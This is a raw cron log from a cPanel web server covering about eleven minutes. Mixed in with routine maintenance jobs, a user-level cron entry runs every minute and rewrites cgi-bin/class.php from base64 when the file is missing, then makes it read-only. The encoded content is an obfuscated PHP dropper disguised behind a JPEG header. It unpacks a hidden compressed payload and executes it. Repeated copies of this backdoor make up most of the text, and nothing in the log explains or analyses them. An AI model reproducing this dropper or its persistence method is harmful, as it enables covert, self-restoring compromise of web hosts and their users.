Sep 10 23:34:01 server CROND[16404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:35:01 server CROND[16796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:35:01 server CROND[16798]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:35:01 server CROND[16805]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 23:35:01 server CROND[16802]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:35:01 server CROND[16806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:35:01 server CROND[16800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:35:01 server CROND[16801]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 23:35:01 server CROND[16803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:35:01 server CROND[16804]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:36:01 server CROND[17747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:36:01 server CROND[17749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:36:01 server CROND[17748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:37:01 server CROND[18128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:37:01 server CROND[18130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:37:01 server CROND[18129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:38:01 server CROND[18510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:38:01 server CROND[18511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:38:01 server CROND[18512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:39:01 server CROND[18895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:39:01 server CROND[18896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:39:01 server CROND[18897]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 23:39:01 server CROND[18898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:40:01 server CROND[19291]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:40:01 server CROND[19294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:40:01 server CROND[19301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:40:01 server CROND[19303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:40:01 server CROND[19300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:40:01 server CROND[19304]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:40:01 server CROND[19297]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:40:01 server CROND[19299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:41:01 server CROND[20120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:41:01 server CROND[20121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:41:01 server CROND[20123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:42:01 server CROND[20597]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 23:42:01 server CROND[20596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:42:01 server CROND[20595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:42:01 server CROND[20598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:43:01 server CROND[20983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:43:01 server CROND[20984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:43:01 server CROND[20985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:44:01 server CROND[21363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:44:01 server CROND[21364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:44:01 server CROND[21365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:45:01 server CROND[21825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:45:01 server CROND[21827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:45:01 server CROND[21828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:45:01 server CROND[21830]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:45:01 server CROND[21832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:45:01 server CROND[21831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
